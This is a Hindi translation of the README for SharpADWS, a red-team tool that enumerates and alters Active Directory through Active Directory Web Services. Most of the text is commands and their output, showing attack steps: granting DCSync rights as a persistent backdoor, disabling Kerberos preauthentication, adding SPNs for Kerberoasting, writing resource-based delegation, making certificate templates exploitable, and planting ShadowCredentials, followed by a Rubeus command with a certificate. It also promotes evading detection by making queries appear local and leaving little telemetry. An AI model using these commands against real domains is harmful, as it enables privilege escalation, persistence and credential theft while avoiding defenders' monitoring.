
लाल टीमों के लिए सक्रिय निर्देशिका वेब सेवाओं (ADWS) के माध्यम से सक्रिय निर्देशिका की टोह और शोषण।
एक्टिव डायरेक्टरी वेब सर्विसेज (ADWS) के माध्यम से रेड टीमों के लिए एक्टिव डायरेक्टरी की टोह और शोषण।
SharpADWS एक रेड टीम टूल है जो एक्टिव डायरेक्टरी वेब सर्विसेज (ADWS) प्रोटोकॉल के माध्यम से एक्टिव डायरेक्टरी डेटा एकत्र और संशोधित करता है।
आमतौर पर, एक्टिव डायरेक्टरी की गणना या हेरफेर LDAP प्रोटोकॉल के माध्यम से होता है। SharpADWS में LDAP सर्वर से सीधे संवाद किए बिना एक्टिव डायरेक्टरी डेटा निकालने या संशोधित करने की क्षमता है। ADWS के तहत, LDAP क्वेरी SOAP संदेशों की एक श्रृंखला में लपेटी जाती हैं और फिर NET TCP बाइंडिंग एन्क्रिप्टेड चैनल का उपयोग करके ADWS सर्वर को भेजी जाती हैं। ADWS सर्वर फिर LDAP क्वेरी को स्थानीय रूप से अनपैक करता है और उसी डोमेन कंट्रोलर पर चल रहे LDAP सर्वर को अग्रेषित करता है।
जब एक्टिव डायरेक्टरी डोमेन सर्विसेज (ADDS) स्थापित होती है तो एक्टिव डायरेक्टरी वेब सर्विसेज (ADWS) स्वचालित रूप से चालू हो जाती है, जिससे SharpADWS सभी डोमेन वातावरणों में सार्वभौमिक हो जाती है।
LDAP पोस्ट-एक्सप्लॉइटेशन के लिए ADWS का उपयोग करने का एक मुख्य लाभ यह है कि यह अपेक्षाकृत अज्ञात है, और चूंकि LDAP ट्रैफ़िक नेटवर्क पर नहीं भेजा जाता है, इसलिए सामान्य निगरानी उपकरणों द्वारा इसका पता लगाना आसान नहीं होता है। ADWS LDAP से पूरी तरह से अलग सेवा चलाती है, TCP पोर्ट 9389 पर उपलब्ध है, और अपने इंटरफ़ेस के रूप में SOAP प्रोटोकॉल का उपयोग करती है।
ADWS पर शोध करते समय, हमने देखा कि चूंकि यह एक SOAP वेब सेवा है, इसलिए LDAP क्वेरी का वास्तविक निष्पादन डोमेन कंट्रोलर पर स्थानीय रूप से होता है। यह कई दिलचस्प दुष्प्रभाव प्रदान करता है जो लाभकारी साबित होते हैं। उदाहरण के लिए, डोमेन कंट्रोलर पर LDAP क्वेरी का विश्लेषण करते समय, आप देख सकते हैं कि क्वेरी 127.0.0.1 लॉग से उत्पन्न होती हैं, जिसे कई मामलों में अनदेखा कर दिया जाएगा।
इसका एक द्वितीयक लाभ यह है कि गतिविधि LDAPSearch क्रिया प्रकार के अंतर्गत DeviceEvents में दिखाई नहीं देती है, जिसका अर्थ है कि बहुत कम टेलीमेट्री डेटा उपलब्ध है।
SharpADWS MS-ADDM, MS-WSTIM और MS-WSDS प्रोटोकॉल को लागू करता है। आप इस प्रोजेक्ट के स्रोत कोड का उपयोग करके एक्टिव डायरेक्टरी वेब सर्विसेज पर निम्नलिखित ऑपरेशन आसानी से लागू कर सकते हैं:
कमांड लाइन तर्क -h का उपयोग निम्नलिखित उपयोग जानकारी प्रदर्शित करने के लिए किया जा सकता है:```cmd
C:\Users\Marcus>SharpADWS.exe -h
SharpADWS 1.0.0-beta - Copyright (c) 2024 WHOAMI (whoamianony.top)
-h Display this help screen
Connection options: -d Specify domain for enumeration -u Username to use for ADWS Connection -p Password to use for ADWS Connection
Supported methods: Cache Dump all objectSids to cache file for Acl methods Acl Enumerate and analyze DACLs for specified objects, specifically Users, Computers, Groups, Domains, DomainControllers and GPOs DCSync Enumerate all DCSync-capable accounts and can set DCSync backdoors DontReqPreAuth Enumerates all accounts that do not require kerberos preauthentication, and can enable this option for accounts Kerberoastable Enumerates all Kerberoastable accounts, and can write SPNs for accounts AddComputer Add a machine account within the scope of ms-DS-MachineAccountQuota for RBCD attack RBCD Read, write and remove msDS-AllowedToActOnBehalfOfOtherIdentity attributes for Resource-Based Constrained Delegation attack Certify Enumerate all ADCS data like Certify.exe, and can write template attributes Whisker List, add and remove msDS-KeyCredentialLink attribute like Whisker.exe for ShadowCredentials attack FindDelegation Enumerate all delegation relationships for the target domain
Acl options: -dn RFC 2253 DN to base search from -scope Set your Scope, support Base (Default), Onelevel, Subtree -trustee The sAMAccountName of a security principal to check for its effective permissions -right Filter DACL for a specific AD rights -rid Specify a rid value and filter out DACL that security principal's rid is greater than it -user Enumerate DACL for all user objects -computer Enumerate DACL for all computer objects -group Enumerate DACL for all group objects -domain Enumerate DACL for all domain objects -domaincontroller Enumerate DACL for all domain controller objects -gpo Enumerate DACL for all gpo objects
DCSync options: -action [{list, write}] Action to operate on DCSync method list List all accounts with DCSync permissions write Escalate accounts with DCSync permissions -target Specify the sAMAccountName of the account
DontReqPreAuth options: -action [{list, write}] Action to operate on DontReqPreAuth method list List all accounts that do not require kerberos preauthentication write Enable do not require kerberos preauthentication for an account -target Specify the sAMAccountName of the account
Kerberoastable options: -action [{list, write}] Action to operate on Kerberoastable method list List all kerberoastable accounts write Write SPNs for an account to kerberoast -target Specify the sAMAccountName of the account
AddComputer options: -computer-name Name of computer to add, without '$' suffix -computer-pass Password to set for the computer
RBCD options: -action [{read,write,remove}] Action to operate on RBCD method read Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account write Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account remove Remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the account added by the write action
Certify options: -action [{find, modify}] Action to operate on Certify method find Find all CA and certificate templates modify Modify certificate templates -enrolleeSuppliesSubject Enumerate certificate templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for find action, and can enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for modify action -clientAuth Enumerate certificate templates with client authentication pKIExtendedKeyUsage for find action, and can enable Client Authentication for modify action
Whisker options: -action [{list, add, remove}] Action to operate on ShadowCredentials method list List all the values of the msDS-KeyCredentialLink attribute for an account add Add a new value to the msDS-KeyCredentialLink attribute for an account remove Remove a value from the msDS-KeyCredentialLink attribute for an account -device-id Specify the DeviceID to remove -target Specify the sAMAccountName of the account
FindDelegation options: No options, just run!
### Cache
जब SharpADWS ACL की गणना करता है, तो प्रत्येक अज्ञात trustee ऑब्जेक्ट के लिए अतिरिक्त ADWS अनुरोध न करने के लिए, cache विधि के माध्यम से सभी खाता ऑब्जेक्ट्स का एक पूर्ण कैश पहले से बनाना आवश्यक है और इसे एक फ़ाइल में सहेजना आवश्यक है, जिससे बड़ी संख्या में (अनावश्यक) प्रवाह से बचा जा सके। कैश में वर्तमान डोमेन के भीतर प्रत्येक खाता ऑब्जेक्ट नाम का objectSid से मैपिंग शामिल है।```cmd
C:\Users\Marcus>SharpADWS.exe Cache
[*] Cache file has been generated: object.cache
Acl विधि -dn निर्दिष्ट करके ऑब्जेक्ट के DACL को गणना (enumerate) कर सकती है, और -trustee, -right और -rid पैरामीटर के माध्यम से गणना किए गए DACL को फ़िल्टर करने का समर्थन करती है। उदाहरण के लिए, हम सभी Domain Controller ऑब्जेक्ट्स को गणना करना चाहते हैं और उन DACL को फ़िल्टर करना चाहते हैं जिनका trustee Marcus है, इस प्रकार:```cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus
Severity : Critical ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite ObjectType : All Trustee : Marcus IsInherited : False
एक अन्य उदाहरण के लिए, हम सभी User ऑब्जेक्ट्स को सूचीबद्ध करना चाहते हैं और GenericWrite अनुमतियों और 1000 से अधिक trustee RID वाले DACLs को फ़िल्टर करना चाहते हैं, जैसा कि नीचे दिखाया गया है:```cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000
Severity : Critical
ObjectDN : CN=Bob,CN=Users,DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
ObjectType : All
Trustee : Marcus
IsInherited : False
इसके अलावा, Acl विधि विशिष्ट वस्तुओं की गणना का भी समर्थन करती है:```cmd SharpADWS.exe acl -user # Enumerate DACL for all user objects SharpADWS.exe acl -computer # Enumerate DACL for all computer objects SharpADWS.exe acl -group # Enumerate DACL for all group objects SharpADWS.exe acl -domain # Enumerate DACL for all domain objects SharpADWS.exe acl -domaincontroller # Enumerate DACL for all domain controller objects SharpADWS.exe acl -gpo # Enumerate DACL for all gpo objects
**यह ध्यान दिया जाना चाहिए कि Acl Method का उपयोग Cache method के माध्यम से स्थापित मैपिंग कैश पर निर्भर होना चाहिए। **
### DCSync
DCSync method का `list` कार्य उन सभी खातों को क्वेरी कर सकता है जिन्हें DS-Replication-Get-Changes, DS-Replication-Get-Changes-All और DS-Replication-Get-Changes-In-Filtered-Set अनुमतियाँ प्रदान की गई हैं, जैसा कि निम्नानुसार Show:```cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action list
Severity : Info
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Administrators
IsInherited : False
Severity : Info
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Domain Controllers
IsInherited : False
Severity : Critical
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Alice
IsInherited : False
यह ध्यान दिया जाना चाहिए कि DCSync Method की list कार्रवाई उस मैपिंग कैश पर निर्भर होनी चाहिए जो Cache method के माध्यम से स्थापित किया गया है।
इसके अतिरिक्त, पर्याप्त अनुमतियाँ दिए जाने पर, आप write के माध्यम से किसी खाते को DCSync अनुमतियाँ प्रदान कर सकते हैं ताकि डोमेन में स्थायी बैकडोर स्थापित हो सके:```cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus
[*] Account Marcus now has DCSync privieges on the domain.
### DontReqPreAuth
`list` क्रिया (action) DontReqPreAuth विधि की, "Do not require kerberos preauthentication" विकल्प सेट वाले सभी खातों को ढूंढ सकती है, जैसा कि नीचे दिखाया गया है:```cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list
[*] Found users that do not require kerberos preauthentication:
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] CN=Alice,CN=Users,DC=corp,DC=local
[*] CN=John,CN=Users,DC=corp,DC=local
इसके अतिरिक्त, आप लक्ष्य खाते के userAccountControl गुण पर WriteProperty अनुमतियों का दुरुपयोग करके, उस खाते के लिए "Do not require kerberos preauthentication" विकल्प को write क्रिया के माध्यम से सक्षम करके AS-REP Roasting हमला कर सकते हैं:```cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator
[*] Set DontReqPreAuth for user Administrator successfully!
### Kerberoastable
Kerberoastable विधि की `list` क्रिया SPN सेटअप वाले सभी खातों को ढूंढ सकती है, जैसा कि नीचे दिखाया गया है:```cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list
[*] Found kerberoastable users:
[*] CN=krbtgt,CN=Users,DC=corp,DC=local
[*] kadmin/changepw
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] WWW/win-iisserver.corp.local/IIS
[*] TERMSERV/win-iisserver.corp.local
[*] CN=John,CN=Users,DC=corp,DC=local
[*] TERMSERV/WIN-SERVER2026
इसके अतिरिक्त, आप लक्ष्य खाते के servicePrincipalName गुण पर WriteProperty अनुमतियों का दुरुपयोग करके, उस खाते (केवल उपयोगकर्ता खाते) में write क्रिया के माध्यम से एक SPN जोड़कर Kerberoasting हमला कर सकते हैं:```cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator
[*] Kerberoast user Administrator successfully!
### AddComputer
AddComputer विधि आपको `ms-DS-MachineAccountQuota` विशेषता मान के दायरे में एक नया कंप्यूटर खाता बनाने की अनुमति देती है, जिसका उपयोग बाद के RBCD हमलों में किया जा सकता है।```cmd
C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd
[*] Successfully added machine account PENTEST$ with password Passw0rd.
RBCD विधि की read क्रिया निर्दिष्ट खाता वस्तु के msDS-AllowedToActOnBehalfOfOtherIdentity गुण मान को पढ़ सकती है ताकि यह जाँच सके कि किसके पास खाते को संसाधन सौंपने का अधिकार है, जैसा कि नीचे दिखाया गया है:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$
[] Accounts allowed to act on behalf of other identity: [] WIN-IISSERVER$ (S-1-5-21-1315326963-2851134370-1073178800-1106) [] WIN-MSSQL$ (S-1-5-21-1315326963-2851134370-1073178800-1103) [] WIN-PC8087$ (S-1-5-21-1315326963-2851134370-1073178800-1117)
`write` क्रिया RBCD विधि की, लक्ष्य खाता वस्तु के `msDS-AllowedToActOnBehalfOfOtherIdentity` गुण में लिख सकती है ताकि संसाधन-आधारित प्रतिबंधित प्रतिनिधिमंडल हमलों को अंजाम दिया जा सके। जैसा कि नीचे दिखाया गया है, हम पहले `AddComputer` विधि का उपयोग करके एक नया एक्सट्रीम खाता `PENTEST$` बनाते हैं, और फिर निम्नलिखित कमांड को निष्पादित करके `PENTEST$` के SID को `DC01$` के `msDS-AllowedToActOnBehalfOfOtherIdentity` विशेषता में लिख सकते हैं:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$
[*] Delegation rights modified successfully!
[*] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
इसके अलावा, write क्रिया में जोड़ा गया SID, remove क्रिया के माध्यम से लक्ष्य वस्तु के msDS-AllowedToActOnBehalfOfOtherIdentity गुण से हटाया जा सकता है:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$
[] Delegation rights modified successfully! [] Accounts allowed to act on behalf of other identity has been removed: [*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
### Certify
Certify विधि की `find` क्रिया ADCS में डेटा को सूचीबद्ध कर सकती है, जिसमें सभी प्रमाणपत्र प्राधिकरण और प्रमाणपत्र टेम्पलेट शामिल हैं, बिल्कुल [Certify](https://github.com/GhostPack/Certify) की तरह:```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action find
[*] Find CA and certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Listing info about the Enterprise CA 'corp-DC01-CA'
Enterprise CA Name : corp-DC01-CA
DNS Name : DC01.corp.local
FullName : DC01.corp.local\corp-DC01-CA
Certificate Subject : CN=corp-DC01-CA, DC=corp, DC=local
Certificate Serial Number : 2D975C2D49AE4BB7432682E1708C8834
Certificate Validity Start : 2/13/2024 5:55:36 PM
Certificate Validity End : 2/13/2029 6:05:36 PM
CA Permissions :
Enrollment Rights :
: Authenticated Users
Object Control Permissions :
ManageCA :
: Enterprise Admins
: DC01
: Domain Admins
ManageCertificates :
: Enterprise Admins
: DC01
WriteDacl :
: Enterprise Admins
: DC01
: Domain Admins
WriteOwner :
: Enterprise Admins
: DC01
: Domain Admins
WriteProperty :
: Enterprise Admins
: DC01
: Domain Admins
[*] Available Certificates Templates
CA Name : CORP-DC01-CA
Template Name : User
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT
msPKI-Private-Key-Flag : EXPORTABLE_KEY
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Domain Users
CA Name :
Template Name : UserSignature
Enabled : False
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
pKIExtendedKeyUsage : Secure Email Client Authentication
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : AUTO_ENROLLMENT
msPKI-Private-Key-Flag : ATTEST_NONE
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Domain Users
# ...
इसके अलावा, find कार्रवाई -enrolleeSuppliesSubject और -clientAuth विकल्पों का समर्थन करती है, जो उन सभी प्रमाणपत्र टेम्पलेट्स को फ़िल्टर कर सकते हैं जिनमें CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT फ़्लैग चालू है और क्लाइंट प्रमाणीकरण का समर्थन करते हैं:```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action find -enrolleeSuppliesSubject -clientAuth
[] Find CA and certificate templates [] Using the search base 'CN=Configuration,DC=corp,DC=local' [*] Listing info about the Enterprise CA 'corp-DC01-CA'
# ...
[*] Available Certificates Templates
CA Name : CORP-DC01-CA
Template Name : User
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT
msPKI-Private-Key-Flag : EXPORTABLE_KEY
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Marcus
: Domain Users
**यह ध्यान दिया जाना चाहिए कि Certify Method का `find` उस मैपिंग कैश पर निर्भर होना चाहिए जो Cache Method के माध्यम से स्थापित किया गया है। **
Certify method का `modify` कार्य आपको प्रमाणपत्र टेम्पलेट के गुणों को संशोधित करने की अनुमति देता है, जैसे `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` फ्लैग को चालू करना या Client Authentication को सक्षम करना, यदि आपके पास लक्ष्य टेम्पलेट पर लेखन पहुंच है:```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth
[*] Enable enrollee supplies subject for template User successfully!
[*] Enable client authentication for template User successfully!
Whisker विधि, Whisker की तरह ही ShadowCredentials हमले के जीवनचक्र को निष्पादित करने में सक्षम है।
Whisker विधि का list कार्य लक्ष्य खाता ऑब्जेक्ट के msDS-KeyCredentialLink गुण मान को सूचीबद्ध कर सकता है:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action list -target DC01$
[] List deviced for DC01$: [] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM [] DeviceID: ee48b31f-71b1-4821-b21e-1ca28fad2ae9 Creation Time: 2/13/2024 8:06:52 PM [] DeviceID: 80c31faf-8b0b-4af6-8350-22de2d91a4fd Creation Time: 2/13/2024 8:01:50 PM
Whisker विधि का `add` क्रिया आपको लक्ष्य खाते के `msDS-KeyCredentialLink` गुण में एक कुंजी जोड़ने की अनुमति देता है ताकि ShadowCredentials हमला किया जा सके, यदि आपके पास लेखन पहुंच है:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action add -target Administrator -cert-pass Passw0rd
[*] Certificate generaged
[*] KeyCredential generated with DeviceID 7d9e0151-5fd2-46d5-ac3d-dce8a71399f2
[*] Updated the msDS-KeyCredentialLink attribute successfully!
[*] You can now run Rubeus with the following syntax:
Rubeus.exe asktgt /user:Administrator /certificate:MIIJzwIBAzCCCYsGCSqGSIb3DQEHA
aCCCXwEggl4MIIJdDCCBiUGCSqGSIb3DQEHAaCCBhYEggYSMIIGDjCCBgoGCyqGSIb3DQEMCgECoIIE/
jCCBPowHAYKKoZIhvcNAQwBAzAOBAjQKx9W/RRiIgICB9AEggTYyQ1jkAw63J4ldeBGctrUhGFPLkIll
NNTizR2Ah/RW+QS2PjWVqv1N2AgybObllM3qVD2xxVxTQpSNvFsHTmZMCVFg++uknPBA7nVriX2rcTPJ
bB/K0DANikCdSDXq1ROgIMRx3mpHtCX2Med82O0OJKOhk+S/Zt3K3r3BloSXRJI0YWUitlP3LPFG9DeG
p1Pox/BL+83NmL9x1hX8ztTPixUlLteNUA5etJzdH0z+yFbqozH7HE1HClYFTanhS0codWpc19QjamWj
DpmOMthgQlf6V+4kiG9PVyCHB7vzFbEnUcprLIRmlPKZKTEp2swfSKj+TeknccuHePIAtASJav286POp
VS6NtHWPOUzlwAbCZJh4DDMcla/dFKGDM7124eAp+5EW7uG+nSO7CgTISPZtXw2NtxpDhXcES6AX7k62
8XFGgXE8RjVLMWGg02CctEFuawvICptI66e0FfetknAwkKNMlE6+gr/QrbubBzSYv4fxMxrYB4OU2bCv
dxocOUjQsGcu7kt4fc6AmQLh7k912okoASyDRjHXABHv/Y6Q7+J1m84aI4BtbkaXmg0fE6pQtCxnGNEO
YEYUfa+8JBvDfKhidxCb1S9QM0B+EONfJk8vu+7rMvxjvhdPMZoJPpVT0kaf2FnripAX4jQDaiaq/6Mq
N5EKg23IujIlzDNIjHN1Ev8WWlL+LthfWe1m7F2Su3iaOgPMuqeX9VWpJcBUYjXgmn168aZ49vp5k6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LTNbTcHe2QJWP0yws9uVpI9lAuw
SH6RQPOE+rl/12i3CYBPjrcf4xR5Ubee0uGCsravh7y5iMPmtkbA66ZcmIplh8aQWM2zuXJfAbhWHfSZ
jqRyRDTqI6ZOxYsMVnHu+kTssrUsa6H/ogf546igZnaQB0pluNRbLAAqqVIvuou0cwZXK08R4IUXxEy8
QWDYFXLLif4XSbkwmAkcFu93P22dnfCxrZVKgjVhKZCMDswHzAHBgUrDgMCGgQUaHvJNXYeqJdTEyPJp
Sr3W7XTHO4EFJGjtSROCn2lG+TyUH4aVwdAj2DIAgIH0A== /password:"Passw0rd" /domain:cor
p.local /getcredentials /show
इसके अतिरिक्त, remove क्रिया के साथ आप -device-id प्रदान कर सकते हैं लक्ष्य वस्तु के msDS-KeyCredentialLink गुण से निर्दिष्ट Key को हटाने के लिए:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action remove -target DC01$ -device-id c9fdae6b-f6a1-4880-a498-6dc89814e596
[] Found value to remove [] msDS-KeyCredentialLink value has been removed: [*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM
### FindDelegation
FindDelegation विधि वर्तमान डोमेन में सभी प्रतिनिधिमंडल (delegation) संबंधों की गणना कर सकती है। इस विधि में कोई अनावश्यक विकल्प या पैरामीटर नहीं हैं:```cmd
C:\Users\Marcus\desktop>SharpADWS.exe FindDelegation
AccountName AccountType DelegationType DelegationRightsTo
----------- ----------- ---------------------------------- ----------------------------------------------
DC01$ Computer Unconstrained N/A
PENTEST$ Computer Resource-Based Constrained DC01$
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/CORP
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01/CORP
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/DomainDnsZones.corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/ForestDnsZones.corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/CORP
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01/CORP
यह परियोजना मेरे द्वारा स्वतंत्र रूप से पूरी की गई है, और इसमें कुछ बग हो सकते हैं। योगदानकर्ताओं का स्वागत है कि वे बग रिपोर्ट करने या नए विचार प्रस्तुत करने के लिए इश्यू सबमिट करें, ताकि परियोजना को संयुक्त रूप से बेहतर बनाया जा सके!